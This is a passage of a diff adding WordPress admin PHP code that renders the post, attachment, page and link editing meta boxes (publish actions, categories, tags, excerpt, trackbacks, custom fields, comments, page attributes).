+	<a class="hide-if-no-js" href="<?php echo esc_url( get_edit_post_link( $args['args']['revision_id'] ) ); ?>"><span aria-hidden="true"><?php _ex( 'Browse', 'revisions' ); ?></span> <span class="screen-reader-text"><?php _e( 'Browse revisions' ); ?></span></a>
+</div>
+<?php endif;
+
+if ( $can_publish ) : // Contributors don't get to choose the date of publish ?>
+<div class="misc-pub-section curtime misc-pub-curtime">
+	<span id="timestamp">
+	<?php printf($stamp, $date); ?></span>
+	<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" role="button"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit date and time' ); ?></span></a>
+	<fieldset id="timestampdiv" class="hide-if-js">
+	<legend class="screen-reader-text"><?php _e( 'Date and time' ); ?></legend>
+	<?php touch_time( ( $action === 'edit' ), 1 ); ?>
+	</fieldset>
+</div><?php // /misc-pub-section ?>
+<?php endif; ?>
+
+<?php if ( 'draft' === $post->post_status && get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ) : ?>
+	<div class="notice notice-info notice-alt inline">
+		<p>
+			<?php
+			echo sprintf(
+				/* translators: %s: URL to the Customizer */
+				__( 'This draft comes from your <a href="%s">unpublished customization changes</a>. You can edit, but there&#8217;s no need to publish now. It will be published automatically with those changes.' ),
+				esc_url(
+					add_query_arg(
+						'changeset_uuid',
+						rawurlencode( get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ),
+						admin_url( 'customize.php' )
+					)
+				)
+			);
+			?>
+		</p>
+	</div>
+<?php endif; ?>
+
+<?php
+/**
+ * Fires after the post time/date setting in the Publish meta box.
+ *
+ * @since 2.9.0
+ * @since 4.4.0 Added the `$post` parameter.
+ *
+ * @param WP_Post $post WP_Post object for the current post.
+ */
+do_action( 'post_submitbox_misc_actions', $post );
+?>
+</div>
+<div class="clear"></div>
+</div>
+
+<div id="major-publishing-actions">
+<?php
+/**
+ * Fires at the beginning of the publishing actions section of the Publish meta box.
+ *
+ * @since 2.7.0
+ * @since 4.9.0 Added the `$post` parameter.
+ *
+ * @param WP_Post|null $post WP_Post object for the current post on Edit Post screen,
+ *                           null on Edit Link screen.
+ */
+do_action( 'post_submitbox_start', $post );
+?>
+<div id="delete-action">
+<?php
+if ( current_user_can( "delete_post", $post->ID ) ) {
+	if ( !EMPTY_TRASH_DAYS )
+		$delete_text = __('Delete Permanently');
+	else
+		$delete_text = __('Move to Trash');
+	?>
+<a class="submitdelete deletion" href="<?php echo get_delete_post_link($post->ID); ?>"><?php echo $delete_text; ?></a><?php
+} ?>
+</div>
+
+<div id="publishing-action">
+<span class="spinner"></span>
+<?php
+if ( !in_array( $post->post_status, array('publish', 'future', 'private') ) || 0 == $post->ID ) {
+	if ( $can_publish ) :
+		if ( !empty($post->post_date_gmt) && time() < strtotime( $post->post_date_gmt . ' +0000' ) ) : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php echo esc_attr_x( 'Schedule', 'post action/button label' ); ?>" />
+		<?php submit_button( _x( 'Schedule', 'post action/button label' ), 'primary large', 'publish', false ); ?>
+<?php	else : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Publish') ?>" />
+		<?php submit_button( __( 'Publish' ), 'primary large', 'publish', false ); ?>
+<?php	endif;
+	else : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Submit for Review') ?>" />
+		<?php submit_button( __( 'Submit for Review' ), 'primary large', 'publish', false ); ?>
+<?php
+	endif;
+} else { ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Update') ?>" />
+		<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Update' ) ?>" />
+<?php
+} ?>
+</div>
+<div class="clear"></div>
+</div>
+</div>
+
+<?php
+}
+
+/**
+ * Display attachment submit form fields.
+ *
+ * @since 3.5.0
+ *
+ * @param object $post
+ */
+function attachment_submit_meta_box( $post ) {
+?>
+<div class="submitbox" id="submitpost">
+
+<div id="minor-publishing">
+
+<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?>
+<div style="display:none;">
+<?php submit_button( __( 'Save' ), '', 'save' ); ?>
+</div>
+
+
+<div id="misc-publishing-actions">
+	<div class="misc-pub-section curtime misc-pub-curtime">
+		<span id="timestamp"><?php
+			$date = date_i18n(
+				/* translators: Publish box date format, see https://secure.php.net/date */
+				__( 'M j, Y @ H:i' ),
+				strtotime( $post->post_date )
+			);
+			printf(
+				/* translators: Attachment information. %s: Date the attachment was uploaded */
+				__( 'Uploaded on: %s' ),
+				'<b>' . $date . '</b>'
+			);
+		?></span>
+	</div><!-- .misc-pub-section -->
+
+	<?php
+	/**
+	 * Fires after the 'Uploaded on' section of the Save meta box
+	 * in the attachment editing screen.
+	 *
+	 * @since 3.5.0
+	 * @since 4.9.0 Added the `$post` parameter.
+	 *
+	 * @param WP_Post $post WP_Post object for the current attachment. 
+	 */
+	do_action( 'attachment_submitbox_misc_actions', $post );
+	?>
+</div><!-- #misc-publishing-actions -->
+<div class="clear"></div>
+</div><!-- #minor-publishing -->
+
+<div id="major-publishing-actions">
+	<div id="delete-action">
+	<?php
+	if ( current_user_can( 'delete_post', $post->ID ) )
+		if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
+			echo "<a class='submitdelete deletion' href='" . get_delete_post_link( $post->ID ) . "'>" . _x( 'Trash', 'verb' ) . "</a>";
+		} else {
+			$delete_ays = ! MEDIA_TRASH ? " onclick='return showNotice.warn();'" : '';
+			echo  "<a class='submitdelete deletion'$delete_ays href='" . get_delete_post_link( $post->ID, null, true ) . "'>" . __( 'Delete Permanently' ) . "</a>";
+		}
+	?>
+	</div>
+
+	<div id="publishing-action">
+		<span class="spinner"></span>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Update') ?>" />
+		<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Update' ) ?>" />
+	</div>
+	<div class="clear"></div>
+</div><!-- #major-publishing-actions -->
+
+</div>
+
+<?php
+}
+
+/**
+ * Display post format form elements.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Post $post Post object.
+ * @param array   $box {
+ *     Post formats meta box arguments.
+ *
+ *     @type string   $id       Meta box 'id' attribute.
+ *     @type string   $title    Meta box title.
+ *     @type callable $callback Meta box display callback.
+ *     @type array    $args     Extra meta box arguments.
+ * }
+ */
+function post_format_meta_box( $post, $box ) {
+	if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) ) :
+	$post_formats = get_theme_support( 'post-formats' );
+
+	if ( is_array( $post_formats[0] ) ) :
+		$post_format = get_post_format( $post->ID );
+		if ( !$post_format )
+			$post_format = '0';
+		// Add in the current one if it isn't there yet, in case the current theme doesn't support it
+		if ( $post_format && !in_array( $post_format, $post_formats[0] ) )
+			$post_formats[0][] = $post_format;
+	?>
+	<div id="post-formats-select">
+		<fieldset>
+			<legend class="screen-reader-text"><?php _e( 'Post Formats' ); ?></legend>
+			<input type="radio" name="post_format" class="post-format" id="post-format-0" value="0" <?php checked( $post_format, '0' ); ?> /> <label for="post-format-0" class="post-format-icon post-format-standard"><?php echo get_post_format_string( 'standard' ); ?></label>
+			<?php foreach ( $post_formats[0] as $format ) : ?>
+			<br /><input type="radio" name="post_format" class="post-format" id="post-format-<?php echo esc_attr( $format ); ?>" value="<?php echo esc_attr( $format ); ?>" <?php checked( $post_format, $format ); ?> /> <label for="post-format-<?php echo esc_attr( $format ); ?>" class="post-format-icon post-format-<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></label>
+			<?php endforeach; ?>
+		</fieldset>
+	</div>
+	<?php endif; endif;
+}
+
+/**
+ * Display post tags form fields.
+ *
+ * @since 2.6.0
+ *
+ * @todo Create taxonomy-agnostic wrapper for this.
+ *
+ * @param WP_Post $post Post object.
+ * @param array   $box {
+ *     Tags meta box arguments.
+ *
+ *     @type string   $id       Meta box 'id' attribute.
+ *     @type string   $title    Meta box title.
+ *     @type callable $callback Meta box display callback.
+ *     @type array    $args {
+ *         Extra meta box arguments.
+ *
+ *         @type string $taxonomy Taxonomy. Default 'post_tag'.
+ *     }
+ * }
+ */
+function post_tags_meta_box( $post, $box ) {
+	$defaults = array( 'taxonomy' => 'post_tag' );
+	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
+		$args = array();
+	} else {
+		$args = $box['args'];
+	}
+	$r = wp_parse_args( $args, $defaults );
+	$tax_name = esc_attr( $r['taxonomy'] );
+	$taxonomy = get_taxonomy( $r['taxonomy'] );
+	$user_can_assign_terms = current_user_can( $taxonomy->cap->assign_terms );
+	$comma = _x( ',', 'tag delimiter' );
+	$terms_to_edit = get_terms_to_edit( $post->ID, $tax_name );
+	if ( ! is_string( $terms_to_edit ) ) {
+		$terms_to_edit = '';
+	}
+?>
+<div class="tagsdiv" id="<?php echo $tax_name; ?>">
+	<div class="jaxtag">
+	<div class="nojs-tags hide-if-js">
+		<label for="tax-input-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_or_remove_items; ?></label>
+		<p><textarea name="<?php echo "tax_input[$tax_name]"; ?>" rows="3" cols="20" class="the-tags" id="tax-input-<?php echo $tax_name; ?>" <?php disabled( ! $user_can_assign_terms ); ?> aria-describedby="new-tag-<?php echo $tax_name; ?>-desc"><?php echo str_replace( ',', $comma . ' ', $terms_to_edit ); // textarea_escaped by esc_attr() ?></textarea></p>
+	</div>
+ 	<?php if ( $user_can_assign_terms ) : ?>
+	<div class="ajaxtag hide-if-no-js">
+		<label class="screen-reader-text" for="new-tag-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_new_item; ?></label>
+		<p><input data-wp-taxonomy="<?php echo $tax_name; ?>" type="text" id="new-tag-<?php echo $tax_name; ?>" name="newtag[<?php echo $tax_name; ?>]" class="newtag form-input-tip" size="16" autocomplete="off" aria-describedby="new-tag-<?php echo $tax_name; ?>-desc" value="" />
+		<input type="button" class="button tagadd" value="<?php esc_attr_e('Add'); ?>" /></p>
+	</div>
+	<p class="howto" id="new-tag-<?php echo $tax_name; ?>-desc"><?php echo $taxonomy->labels->separate_items_with_commas; ?></p>
+	<?php elseif ( empty( $terms_to_edit ) ): ?>
+		<p><?php echo $taxonomy->labels->no_terms; ?></p>
+	<?php endif; ?>
+	</div>
+	<ul class="tagchecklist" role="list"></ul>
+</div>
+<?php if ( $user_can_assign_terms ) : ?>
+<p class="hide-if-no-js"><button type="button" class="button-link tagcloud-link" id="link-<?php echo $tax_name; ?>" aria-expanded="false"><?php echo $taxonomy->labels->choose_from_most_used; ?></button></p>
+<?php endif; ?>
+<?php
+}
+
+/**
+ * Display post categories form fields.
+ *
+ * @since 2.6.0
+ *
+ * @todo Create taxonomy-agnostic wrapper for this.
+ *
+ * @param WP_Post $post Post object.
+ * @param array   $box {
+ *     Categories meta box arguments.
+ *
+ *     @type string   $id       Meta box 'id' attribute.
+ *     @type string   $title    Meta box title.
+ *     @type callable $callback Meta box display callback.
+ *     @type array    $args {
+ *         Extra meta box arguments.
+ *
+ *         @type string $taxonomy Taxonomy. Default 'category'.
+ *     }
+ * }
+ */
+function post_categories_meta_box( $post, $box ) {
+	$defaults = array( 'taxonomy' => 'category' );
+	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
+		$args = array();
+	} else {
+		$args = $box['args'];
+	}
+	$r = wp_parse_args( $args, $defaults );
+	$tax_name = esc_attr( $r['taxonomy'] );
+	$taxonomy = get_taxonomy( $r['taxonomy'] );
+	?>
+	<div id="taxonomy-<?php echo $tax_name; ?>" class="categorydiv">
+		<ul id="<?php echo $tax_name; ?>-tabs" class="category-tabs">
+			<li class="tabs"><a href="#<?php echo $tax_name; ?>-all"><?php echo $taxonomy->labels->all_items; ?></a></li>
+			<li class="hide-if-no-js"><a href="#<?php echo $tax_name; ?>-pop"><?php echo esc_html( $taxonomy->labels->most_used ); ?></a></li>
+		</ul>
+
+		<div id="<?php echo $tax_name; ?>-pop" class="tabs-panel" style="display: none;">
+			<ul id="<?php echo $tax_name; ?>checklist-pop" class="categorychecklist form-no-clear" >
+				<?php $popular_ids = wp_popular_terms_checklist( $tax_name ); ?>
+			</ul>
+		</div>
+
+		<div id="<?php echo $tax_name; ?>-all" class="tabs-panel">
+			<?php
+			$name = ( $tax_name == 'category' ) ? 'post_category' : 'tax_input[' . $tax_name . ']';
+			echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks.
+			?>
+			<ul id="<?php echo $tax_name; ?>checklist" data-wp-lists="list:<?php echo $tax_name; ?>" class="categorychecklist form-no-clear">
+				<?php wp_terms_checklist( $post->ID, array( 'taxonomy' => $tax_name, 'popular_cats' => $popular_ids ) ); ?>
+			</ul>
+		</div>
+	<?php if ( current_user_can( $taxonomy->cap->edit_terms ) ) : ?>
+			<div id="<?php echo $tax_name; ?>-adder" class="wp-hidden-children">
+				<a id="<?php echo $tax_name; ?>-add-toggle" href="#<?php echo $tax_name; ?>-add" class="hide-if-no-js taxonomy-add-new">
+					<?php
+						/* translators: %s: add new taxonomy label */
+						printf( __( '+ %s' ), $taxonomy->labels->add_new_item );
+					?>
+				</a>
+				<p id="<?php echo $tax_name; ?>-add" class="category-add wp-hidden-child">
+					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_new_item; ?></label>
+					<input type="text" name="new<?php echo $tax_name; ?>" id="new<?php echo $tax_name; ?>" class="form-required form-input-tip" value="<?php echo esc_attr( $taxonomy->labels->new_item_name ); ?>" aria-required="true"/>
+					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>_parent">
+						<?php echo $taxonomy->labels->parent_item_colon; ?>
+					</label>
+					<?php
+					$parent_dropdown_args = array(
+						'taxonomy'         => $tax_name,
+						'hide_empty'       => 0,
+						'name'             => 'new' . $tax_name . '_parent',
+						'orderby'          => 'name',
+						'hierarchical'     => 1,
+						'show_option_none' => '&mdash; ' . $taxonomy->labels->parent_item . ' &mdash;',
+					);
+
+					/**
+					 * Filters the arguments for the taxonomy parent dropdown on the Post Edit page.
+					 *
+					 * @since 4.4.0
+					 *
+					 * @param array $parent_dropdown_args {
+					 *     Optional. Array of arguments to generate parent dropdown.
+					 *
+					 *     @type string   $taxonomy         Name of the taxonomy to retrieve.
+					 *     @type bool     $hide_if_empty    True to skip generating markup if no
+					 *                                      categories are found. Default 0.
+					 *     @type string   $name             Value for the 'name' attribute
+					 *                                      of the select element.
+					 *                                      Default "new{$tax_name}_parent".
+					 *     @type string   $orderby          Which column to use for ordering
+					 *                                      terms. Default 'name'.
+					 *     @type bool|int $hierarchical     Whether to traverse the taxonomy
+					 *                                      hierarchy. Default 1.
+					 *     @type string   $show_option_none Text to display for the "none" option.
+					 *                                      Default "&mdash; {$parent} &mdash;",
+					 *                                      where `$parent` is 'parent_item'
+					 *                                      taxonomy label.
+					 * }
+					 */
+					$parent_dropdown_args = apply_filters( 'post_edit_category_parent_dropdown_args', $parent_dropdown_args );
+
+					wp_dropdown_categories( $parent_dropdown_args );
+					?>
+					<input type="button" id="<?php echo $tax_name; ?>-add-submit" data-wp-lists="add:<?php echo $tax_name; ?>checklist:<?php echo $tax_name; ?>-add" class="button category-add-submit" value="<?php echo esc_attr( $taxonomy->labels->add_new_item ); ?>" />
+					<?php wp_nonce_field( 'add-' . $tax_name, '_ajax_nonce-add-' . $tax_name, false ); ?>
+					<span id="<?php echo $tax_name; ?>-ajax-response"></span>
+				</p>
+			</div>
+		<?php endif; ?>
+	</div>
+	<?php
+}
+
+/**
+ * Display post excerpt form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_excerpt_meta_box($post) {
+?>
+<label class="screen-reader-text" for="excerpt"><?php _e('Excerpt') ?></label><textarea rows="1" cols="40" name="excerpt" id="excerpt"><?php echo $post->post_excerpt; // textarea_escaped ?></textarea>
+<p><?php
+	printf(
+		/* translators: %s: Codex URL */
+		__( 'Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href="%s">Learn more about manual excerpts</a>.' ),
+		__( 'https://codex.wordpress.org/Excerpt' )
+	);
+?></p>
+<?php
+}
+
+/**
+ * Display trackback links form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_trackback_meta_box($post) {
+	$form_trackback = '<input type="text" name="trackback_url" id="trackback_url" class="code" value="' .
+		esc_attr( str_replace( "\n", ' ', $post->to_ping ) ) . '" aria-describedby="trackback-url-desc" />';
+	if ('' != $post->pinged) {
+		$pings = '<p>'. __('Already pinged:') . '</p><ul>';
+		$already_pinged = explode("\n", trim($post->pinged));
+		foreach ($already_pinged as $pinged_url) {
+			$pings .= "\n\t<li>" . esc_html($pinged_url) . "</li>";
+		}
+		$pings .= '</ul>';
+	}
+
+?>
+<p>
+	<label for="trackback_url"><?php _e( 'Send trackbacks to:' ); ?></label>
+	<?php echo $form_trackback; ?>
+</p>
+<p id="trackback-url-desc" class="howto"><?php _e( 'Separate multiple URLs with spaces' ); ?></p>
+<p><?php
+	printf(
+		/* translators: %s: Codex URL */
+		__( 'Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. If you link other WordPress sites, they&#8217;ll be notified automatically using <a href="%s">pingbacks</a>, no other action necessary.' ),
+		__( 'https://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments' )
+	);
+?></p>
+<?php
+if ( ! empty($pings) )
+	echo $pings;
+}
+
+/**
+ * Display custom fields form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_custom_meta_box($post) {
+?>
+<div id="postcustomstuff">
+<div id="ajax-response"></div>
+<?php
+$metadata = has_meta($post->ID);
+foreach ( $metadata as $key => $value ) {
+	if ( is_protected_meta( $metadata[ $key ][ 'meta_key' ], 'post' ) || ! current_user_can( 'edit_post_meta', $post->ID, $metadata[ $key ][ 'meta_key' ] ) )
+		unset( $metadata[ $key ] );
+}
+list_meta( $metadata );
+meta_form( $post ); ?>
+</div>
+<p><?php
+	printf(
+		/* translators: %s: Codex URL */
+		__( 'Custom fields can be used to add extra metadata to a post that you can <a href="%s">use in your theme</a>.' ),
+		__( 'https://codex.wordpress.org/Using_Custom_Fields' )
+	);
+?></p>
+<?php
+}
+
+/**
+ * Display comments status form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_comment_status_meta_box($post) {
+?>
+<input name="advanced_view" type="hidden" value="1" />
+<p class="meta-options">
+	<label for="comment_status" class="selectit"><input name="comment_status" type="checkbox" id="comment_status" value="open" <?php checked($post->comment_status, 'open'); ?> /> <?php _e( 'Allow comments' ) ?></label><br />
+	<label for="ping_status" class="selectit"><input name="ping_status" type="checkbox" id="ping_status" value="open" <?php checked($post->ping_status, 'open'); ?> /> <?php
+		printf(
+			/* translators: %s: Codex URL */
+			__( 'Allow <a href="%s">trackbacks and pingbacks</a> on this page' ),
+			__( 'https://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments' ) );
+		?></label>
+	<?php
+	/**
+	 * Fires at the end of the Discussion meta box on the post editing screen.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param WP_Post $post WP_Post object of the current post.
+	 */
+	do_action( 'post_comment_status_meta_box-options', $post );
+	?>
+</p>
+<?php
+}
+
+/**
+ * Display comments for post table header
+ *
+ * @since 3.0.0
+ *
+ * @param array $result table header rows
+ * @return array
+ */
+function post_comment_meta_box_thead($result) {
+	unset($result['cb'], $result['response']);
+	return $result;
+}
+
+/**
+ * Display comments for post.
+ *
+ * @since 2.8.0
+ *
+ * @param object $post
+ */
+function post_comment_meta_box( $post ) {
+	wp_nonce_field( 'get-comments', 'add_comment_nonce', false );
+	?>
+	<p class="hide-if-no-js" id="add-new-comment"><a class="button" href="#commentstatusdiv" onclick="window.commentReply && commentReply.addcomment(<?php echo $post->ID; ?>);return false;"><?php _e('Add comment'); ?></a></p>
+	<?php
+
+	$total = get_comments( array( 'post_id' => $post->ID, 'number' => 1, 'count' => true ) );
+	$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
+	$wp_list_table->display( true );
+
+	if ( 1 > $total ) {
+		echo '<p id="no-comments">' . __('No comments yet.') . '</p>';
+	} else {
+		$hidden = get_hidden_meta_boxes( get_current_screen() );
+		if ( ! in_array('commentsdiv', $hidden) ) {
+			?>
+			<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php echo $total; ?>, 10);});</script>
+			<?php
+		}
+
+		?>
+		<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.load(<?php echo $total; ?>);return false;"><?php _e('Show comments'); ?></a> <span class="spinner"></span></p>
+		<?php
+	}
+
+	wp_comment_trashnotice();
+}
+
+/**
+ * Display slug form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_slug_meta_box($post) {
+/** This filter is documented in wp-admin/edit-tag-form.php */
+$editable_slug = apply_filters( 'editable_slug', $post->post_name, $post );
+?>
+<label class="screen-reader-text" for="post_name"><?php _e('Slug') ?></label><input name="post_name" type="text" size="13" id="post_name" value="<?php echo esc_attr( $editable_slug ); ?>" />
+<?php
+}
+
+/**
+ * Display form field with list of authors.
+ *
+ * @since 2.6.0
+ *
+ * @global int $user_ID
+ *
+ * @param object $post
+ */
+function post_author_meta_box($post) {
+	global $user_ID;
+?>
+<label class="screen-reader-text" for="post_author_override"><?php _e('Author'); ?></label>
+<?php
+	wp_dropdown_users( array(
+		'who' => 'authors',
+		'name' => 'post_author_override',
+		'selected' => empty($post->ID) ? $user_ID : $post->post_author,
+		'include_selected' => true,
+		'show' => 'display_name_with_login',
+	) );
+}
+
+/**
+ * Display list of revisions.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_revisions_meta_box( $post ) {
+	wp_list_post_revisions( $post );
+}
+
+// -- Page related Meta Boxes
+
+/**
+ * Display page attributes form fields.
+ *
+ * @since 2.7.0
+ *
+ * @param object $post
+ */
+function page_attributes_meta_box($post) {
+	if ( is_post_type_hierarchical( $post->post_type ) ) :
+		$dropdown_args = array(
+			'post_type'        => $post->post_type,
+			'exclude_tree'     => $post->ID,
+			'selected'         => $post->post_parent,
+			'name'             => 'parent_id',
+			'show_option_none' => __('(no parent)'),
+			'sort_column'      => 'menu_order, post_title',
+			'echo'             => 0,
+		);
+
+		/**
+		 * Filters the arguments used to generate a Pages drop-down element.
+		 *
+		 * @since 3.3.0
+		 *
+		 * @see wp_dropdown_pages()
+		 *
+		 * @param array   $dropdown_args Array of arguments used to generate the pages drop-down.
+		 * @param WP_Post $post          The current post.
+		 */
+		$dropdown_args = apply_filters( 'page_attributes_dropdown_pages_args', $dropdown_args, $post );
+		$pages = wp_dropdown_pages( $dropdown_args );
+		if ( ! empty($pages) ) :
+?>
+<p class="post-attributes-label-wrapper"><label class="post-attributes-label" for="parent_id"><?php _e( 'Parent' ); ?></label></p>
+<?php echo $pages; ?>
+<?php
+		endif; // end empty pages check
+	endif;  // end hierarchical check.
+
+	if ( count( get_page_templates( $post ) ) > 0 && get_option( 'page_for_posts' ) != $post->ID ) :
+		$template = ! empty( $post->page_template ) ? $post->page_template : false;
+		?>
+<p class="post-attributes-label-wrapper"><label class="post-attributes-label" for="page_template"><?php _e( 'Template' ); ?></label><?php
+	/**
+	 * Fires immediately after the label inside the 'Template' section
+	 * of the 'Page Attributes' meta box.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string  $template The template used for the current post.
+	 * @param WP_Post $post     The current post.
+	 */
+	do_action( 'page_attributes_meta_box_template', $template, $post );
+?></p>
+<select name="page_template" id="page_template">
+<?php
+/**
+ * Filters the title of the default page template displayed in the drop-down.
+ *
+ * @since 4.1.0
+ *
+ * @param string $label   The display value for the default page template title.
+ * @param string $context Where the option label is displayed. Possible values
+ *                        include 'meta-box' or 'quick-edit'.
+ */
+$default_title = apply_filters( 'default_page_template_title',  __( 'Default Template' ), 'meta-box' );
+?>
+<option value="default"><?php echo esc_html( $default_title ); ?></option>
+<?php page_template_dropdown( $template, $post->post_type ); ?>
+</select>
+<?php endif; ?>
+<?php if ( post_type_supports( $post->post_type, 'page-attributes' ) ) : ?>
+<p class="post-attributes-label-wrapper"><label class="post-attributes-label" for="menu_order"><?php _e( 'Order' ); ?></label></p>
+<input name="menu_order" type="text" size="4" id="menu_order" value="<?php echo esc_attr( $post->menu_order ); ?>" />
+<?php
+/**
+ * Fires before the help hint text in the 'Page Attributes' meta box.
+ *
+ * @since 4.9.0
+ *
+ * @param WP_Post $post The current post.
+ */
+do_action( 'page_attributes_misc_attributes', $post );
+?>
+<?php if ( 'page' == $post->post_type && get_current_screen()->get_help_tabs() ) : ?>
+<p><?php _e( 'Need help? Use the Help tab above the screen title.' ); ?></p>
+<?php endif;
+	endif;
+}
+
+// -- Link related Meta Boxes
+
+/**
+ * Display link create form fields.
+ *
+ * @since 2.7.0
+ *
+ * @param object $link
+ */
+function link_submit_meta_box($link) {
+?>
+<div class="submitbox" id="submitlink">
+
+<div id="minor-publishing">
+
+<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?>
+<div style="display:none;">
+<?php submit_button( __( 'Save' ), '', 'save', false ); ?>
+</div>
+
+<div id="minor-publishing-actions">
+<div id="preview-action">
+<?php if ( !empty($link->link_id) ) { ?>
+	<a class="preview button" href="<?php echo $link->link_url; ?>" target="_blank"><?php _e('Visit Link'); ?></a>
+<?php } ?>
+</div>
+<div class="clear"></div>
+</div>
+
+<div id="misc-publishing-actions">
+<div class="misc-pub-section misc-pub-private">
+	<label for="link_private" class="selectit"><input id="link_private" name="link_visible" type="checkbox" value="N" <?php checked($link->link_visible, 'N'); ?> /> <?php _e('Keep this link private') ?></label>
+</div>
+</div>
+
+</div>
+
+<div id="major-publishing-actions">
+<?php
+/** This action is documented in wp-admin/includes/meta-boxes.php */
+do_action( 'post_submitbox_start', null );
+?>
+<div id="delete-action">
+<?php
+if ( !empty($_GET['action']) && 'edit' == $_GET['action'] && current_user_can('manage_links') ) { ?>
+	<a class="submitdelete deletion" href="<?php echo wp_nonce_url("link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id); ?>" onclick="if ( confirm('<?php echo esc_js(sprintf(__("You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete."), $link->link_name )); ?>') ) {return true;}return false;"><?php _e('Delete'); ?></a>
+<?php } ?>
+</div>
+
+<div id="publishing-action">
+<?php if ( !empty($link->link_id) ) { ?>
+	<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Update Link' ) ?>" />
+<?php } else { ?>
+	<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Add Link' ) ?>" />
+<?php } ?>
+</div>
+<div class="clear"></div>
+</div>
+<?php
+/**
+ * Fires at the end of the Publish box in the Link editing screen.
+ *
+ * @since 2.5.0
+ */
+do_action( 'submitlink_box' );
+?>
+<div class="clear"></div>
+</div>
+<?php
+}
+
+/**
+ * Display link categories form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_categories_meta_box($link) {
+?>
+<div id="taxonomy-linkcategory" class="categorydiv">
+	<ul id="category-tabs" class="category-tabs">
+		<li class="tabs"><a href="#categories-all"><?php _e( 'All Categories' ); ?></a></li>
+		<li class="hide-if-no-js"><a href="#categories-pop"><?php _ex( 'Most Used', 'categories' ); ?></a></li>
+	</ul>
+
+	<div id="categories-all" class="tabs-panel">
+		<ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear">
+			<?php
+			if ( isset($link->link_id) )
+				wp_link_category_checklist($link->link_id);
+			else
+				wp_link_category_checklist();
+			?>
+		</ul>
+	</div>
+
+	<div id="categories-pop" class="tabs-panel" style="display: none;">
+		<ul id="categorychecklist-pop" class="categorychecklist form-no-clear">
+			<?php wp_popular_terms_checklist('link_category'); ?>
+		</ul>
+	</div>
+
+	<div id="category-adder" class="wp-hidden-children">
+		<a id="category-add-toggle" href="#category-add" class="taxonomy-add-new"><?php _e( '+ Add New Category' ); ?></a>
+		<p id="link-category-add" class="wp-hidden-child">
+			<label class="screen-reader-text" for="newcat"><?php _e( '+ Add New Category' ); ?></label>
+			<input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e( 'New category name' ); ?>" aria-required="true" />
+			<input type="button" id="link-category-add-submit" data-wp-lists="add:categorychecklist:link-category-add" class="button" value="<?php esc_attr_e( 'Add' ); ?>" />
+			<?php wp_nonce_field( 'add-link-category', '_ajax_nonce', false ); ?>
+			<span id="category-ajax-response"></span>
+		</p>
+	</div>
+</div>
+<?php
+}
+
+/**
+ * Display form fields for changing link target.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_target_meta_box($link) { ?>
+<fieldset><legend class="screen-reader-text"><span><?php _e('Target') ?></span></legend>
+<p><label for="link_target_blank" class="selectit">
+<input id="link_target_blank" type="radio" name="link_target" value="_blank" <?php echo ( isset( $link->link_target ) && ($link->link_target == '_blank') ? 'checked="checked"' : ''); ?> />
+<?php _e('<code>_blank</code> &mdash; new window or tab.'); ?></label></p>
+<p><label for="link_target_top" class="selectit">
+<input id="link_target_top" type="radio" name="link_target" value="_top" <?php echo ( isset( $link->link_target ) && ($link->link_target == '_top') ? 'checked="checked"' : ''); ?> />
+<?php _e('<code>_top</code> &mdash; current window or tab, with no frames.'); ?></label></p>
+<p><label for="link_target_none" class="selectit">
